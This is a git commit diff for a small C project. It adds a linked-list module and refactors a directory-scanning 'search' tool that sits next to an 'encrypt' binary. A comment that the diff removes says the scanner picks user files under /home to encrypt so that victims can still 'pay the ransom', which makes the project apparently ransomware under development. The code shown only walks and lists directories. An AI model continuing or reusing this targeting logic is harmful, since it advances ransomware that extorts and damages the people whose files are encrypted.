summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--.gitignore3
-rw-r--r--src/Makefile8
-rw-r--r--src/ll.c53
-rw-r--r--src/ll.h25
-rw-r--r--src/search.c122
-rw-r--r--src/search.h19
6 files changed, 177 insertions, 53 deletions
diff --git a/.gitignore b/.gitignore
index 71eafb7..7192fae 100644
--- a/.gitignore
+++ b/.gitignore
@@ -2,4 +2,5 @@
2test* 2test*
3 3
4encrypt 4encrypt
5search \ No newline at end of file 5search
6*.o \ No newline at end of file
diff --git a/src/Makefile b/src/Makefile
index 39369a1..f869a31 100644
--- a/src/Makefile
+++ b/src/Makefile
@@ -1,7 +1,7 @@
1CC = gcc 1CC = gcc
2CFLAGS = -Wall -Wextra -Wpedantic -fanalyzer -Wanalyzer-too-complex -Og -g3 -ggdb 2CFLAGS = -Wall -Wextra -Wpedantic -fanalyzer -Wanalyzer-too-complex -Og -g3 -ggdb
3 3
4BINARY_FILES := encrypt search 4BINARY_FILES := encrypt search ll.o
5 5
6.PHONY: all clean 6.PHONY: all clean
7 7
@@ -13,5 +13,7 @@ clean:
13encrypt: encryption.c encryption.h 13encrypt: encryption.c encryption.h
14 $(CC) $(CFLAGS) encryption.c -o encrypt 14 $(CC) $(CFLAGS) encryption.c -o encrypt
15 15
16search: search.c search.h 16search: search.c search.h ll.o
17 $(CC) $(CFLAGS) search.c -o search \ No newline at end of file 17 $(CC) $(CFLAGS) search.c ll.o -o search
18
19ll.o: ll.c ll.h \ No newline at end of file
diff --git a/src/ll.c b/src/ll.c
new file mode 100644
index 0000000..1a0426b
--- /dev/null
+++ b/src/ll.c
@@ -0,0 +1,53 @@
1#include "ll.h"
2
3#include <stdlib.h>
4#include <error.h>
5#include <errno.h>
6
7#include <stdio.h>
8
9// Initialize an empty nodelist object
10struct nodelist* nodelist_init(struct nodelist *start) {
11 if(start == NULL) {
12 start = calloc(1, sizeof(struct nodelist));
13 if(start == NULL) {
14 error(0, errno, "Could not allocate space for empty node list object");
15 return NULL;
16 }
17 }
18
19 start->fullpath = NULL;
20 start->next = NULL;
21 start->type = NODELIST_TYPE__UNDEF;
22
23 return start;
24}
25
26struct nodelist* nodelist_prepend(struct nodelist *new, struct nodelist *list) {
27 new->next = list;
28 return new;
29}
30
31struct nodelist* nodelist_append(struct nodelist *list, struct nodelist *append) {
32 struct nodelist *p = NULL, *prev = NULL;
33 for(p = list; p != NULL; p = p->next)
34 prev = p;
35
36 // If the pointer p is null, prev will never be set, so just error out
37 if(prev == NULL)
38 return NULL;
39
40 prev->next = append;
41
42 return list;
43}
44
45int nodelist_delete(struct nodelist *list) {
46 struct nodelist *p, *next;
47 for(p = list; p != NULL; p = next) {
48 next = p->next;
49 free(p);
50 }
51
52 return 0;
53} \ No newline at end of file
diff --git a/src/ll.h b/src/ll.h
new file mode 100644
index 0000000..9470ea6
--- /dev/null
+++ b/src/ll.h
@@ -0,0 +1,25 @@
1#ifndef __SLOTS__LL_C__12752409230707
2#define __SLOTS__LL_C__12752409230707
3
4#define NODELIST_TYPE__UNDEF -1
5#define NODELIST_TYPE__FILE 0
6#define NODELIST_TYPE__FOLDER 1
7struct nodelist {
8 struct nodelist *next;
9 char *fullpath;
10 int type;
11};
12
13// Initializes a nodelist object. Returns a pointer to START on success, and NULL on error. If START is null, malloc is called to populate it
14struct nodelist* nodelist_init(struct nodelist *start);
15
16// Prepend a new nodelist object to an already existing nodelist
17struct nodelist* nodelist_prepend(struct nodelist *new, struct nodelist *list);
18
19// Append a nodelist object to the end of an already existing nodelist
20struct nodelist* nodelist_append(struct nodelist *list, struct nodelist *append);
21
22// Delete a nodelist allocated by malloc
23int nodelist_delete(struct nodelist *list);
24
25#endif \ No newline at end of file
diff --git a/src/search.c b/src/search.c
index 22e5486..bb2cc0e 100644
--- a/src/search.c
+++ b/src/search.c
@@ -1,72 +1,108 @@
1/***
2 * SEARCH
3 *
4 * Find valid files to encrypt
5*/
6
7/*
8Valid files for encryption should be specific to the user, not to the system. If you encrypt everything in /usr/bin, the user can't ever pay the ransom because their
9shit is borked. Files related to the user's install, such as /home, /mnt, and /usr are valid targets (although I'll only target /home/specific-user/ for now)
10*/
11
12#define _GNU_SOURCE 1#define _GNU_SOURCE
13 2
14#include "search.h" 3#include "search.h"
4#include "ll.h"
5
6// Scan a directory
7// Sort inputs into files and folders
8// Store the full path for each file/folder
9// Search new folders
15 10
16#include <sys/types.h> 11#include <sys/types.h>
17#include <sys/stat.h> 12#include <sys/stat.h>
18#include <dirent.h> 13#include <dirent.h>
14#include <limits.h>
15#include <stdlib.h>
19#include <string.h> 16#include <string.h>
20#include <unistd.h> 17#include <unistd.h>
21#include <error.h>
22#include <errno.h> 18#include <errno.h>
19#include <error.h>
20
23#include <stdio.h> 21#include <stdio.h>
24 22
25int folderonly(const struct dirent64 *tester) { 23int nodesort(const struct dirent *node, int (*S_IS_CALLBACK)(mode_t)) {
26 // Filter out the current and previous dir macros 24 // Ignore . and .. folders
27 if(strcmp(tester->d_name, ".") == 0 || strcmp(tester->d_name, "..") == 0) 25 if(strcmp(node->d_name, ".") == 0 || strcmp(node->d_name, "..") == 0)
28 return 0; 26 return 0;
29 27
30 // Check if the "file" is specifically a dir 28 // Stat the file
31 struct stat64 sb; 29 struct stat sb;
32 if(stat64(tester->d_name, &sb) < 0) { 30 if(stat(node->d_name, &sb) < 0) {
33 error(0, errno, "[folderonly] Could not stat \"%s\"", tester->d_name); 31 error(0, errno, "Couldn't stat file \"%s\"", node->d_name);
34 return 0; // Don't try to traverse into a dir that we don't know is a dir or not 32 return 0;
35 } 33 }
36 34
37 // Filter out non dirs 35 // Check if the mode is correct
38 if((sb.st_mode & S_IFMT) != S_IFDIR) 36 if((*S_IS_CALLBACK)(sb.st_mode))
39 return 0; 37 return 1;
38
39 // God I love function pointers
40 40
41 return 1; 41 // Not what is being checked for, exclude it
42 return 0;
42} 43}
43 44
44int fileonly(const struct dirent64 *tester) { 45int S_ISDIR_WRAPPER(mode_t mode) {
45 // Check if the "file" is specifically a dir 46 return S_ISDIR(mode);
46 struct stat64 sb; 47}
47 if(stat64(tester->d_name, &sb) < 0) {
48 error(0, errno, "[folderonly] Could not stat \"%s\"", tester->d_name);
49 return 0; // Don't mark a file for encryption if we can't safely say it's something that should be overwritten
50 }
51 48
52 // Filter out dirs 49int S_ISREG_WRAPPER(mode_t mode) {
53 if((sb.st_mode & S_IFMT) != S_IFREG) 50 return S_ISREG(mode);
54 return 0; 51}
52
53int foldersort(const struct dirent *node) {
54 return nodesort(node, S_ISDIR_WRAPPER);
55}
55 56
56 return 1; 57int filesort(const struct dirent *node) {
58 return nodesort(node, S_ISREG_WRAPPER);
57} 59}
58 60
59int main (void) { 61
60 struct dirent64 **eps; 62int main(void) {
63 /*
64 struct dirent **nodes;
61 int n; 65 int n;
62 66
63 n = scandir64("./", &eps, folderonly, alphasort64); 67 char *actualpath = NULL;
68 n = scandir("./", &nodes, foldersort, alphasort);
64 if(n >= 0) { 69 if(n >= 0) {
65 for(int cnt = 0; cnt < n; cnt++) 70 int cnt;
66 puts(eps[cnt]->d_name); 71 for(cnt = 0; cnt < n; ++cnt) {
67 } else { 72 actualpath = realpath(nodes[cnt]->d_name, actualpath);
68 perror("Couldn't open dir"); 73 puts(actualpath);
69 } 74 free(actualpath);
75 }
76
77 } else
78 perror("Couldn't open the directory");
79 //*/
80
81 struct dirent **nodes = NULL;
82 int n = 0;
83
84 struct nodelist *scanner = nodelist_init(NULL), *holder = nodelist_init(NULL), *hstart = holder;
85 if(scanner == NULL)
86 error(-1, errno, "shit brokey");
87 scanner->fullpath = realpath("./", NULL);
88 scanner->type = NODELIST_TYPE__FOLDER;
89
90 n = scandir(scanner->fullpath, &nodes, foldersort, alphasort);
91 if(n > 0) {
92 for(int i = 0; i < n; i++) {
93 holder->fullpath = realpath(nodes[i]->d_name, NULL);
94 holder->type = NODELIST_TYPE__FOLDER;
95 holder->next = nodelist_init(NULL);
96 holder = holder->next;
97 }
98 } else
99 error(-1, 0, "Couldn't open folder");
100
101 nodelist_append(scanner, hstart);
102
103 printf("Scanned paths:\n");
104 for(struct nodelist *p = scanner; p->next != NULL; p = p->next) // Because of how holder is populated, checking p->next for being null makes sure printf doesn't try to do anything dumb like printing a null string
105 printf("%s\n", p->fullpath);
70 106
71 return 0; 107 return 0;
72} 108}
diff --git a/src/search.h b/src/search.h
index 9a5a086..8b5f502 100644
--- a/src/search.h
+++ b/src/search.h
@@ -1,12 +1,19 @@
1#ifndef __SLOTS__SEARCH_H__1863390513307 1#ifndef __SLOTS__SEARCH_H__4612270218569
2#define __SLOTS__SEARCH_H__1863390513307 2#define __SLOTS__SEARCH_H__4612270218569
3 3
4#include <sys/types.h>
4#include <dirent.h> 5#include <dirent.h>
5 6
6// scandir filter: filter out anything that isn't a directory 7// Wrapper for stat's S_ISDIR(mode) macro. Implemented as: return S_ISDIR(mode)
7int folderonly(const struct dirent64 *tester); 8int S_ISDIR_WRAPPER(mode_t mode);
9
10// Wrapper for stat's S_ISREG(mode) macro. Implemented as: return S_ISREG(mode)
11int S_ISREG_WRAPPER(mode_t mode);
12
13// Sort out nodes in a scanned directory using one of stat's S_IS--- functions
14int nodesort(const struct dirent *node, int (*S_IS_CALLBACK)(mode_t));
15int foldersort(const struct dirent *node); // Only display folders when using scandir
16int filesort(const struct dirent *node); // Only display files when using scandir
8 17
9// scandir filter: filter out anything that isn't a regular file
10int fileonly(const struct dirent64 *tester);
11 18
12#endif \ No newline at end of file 19#endif \ No newline at end of file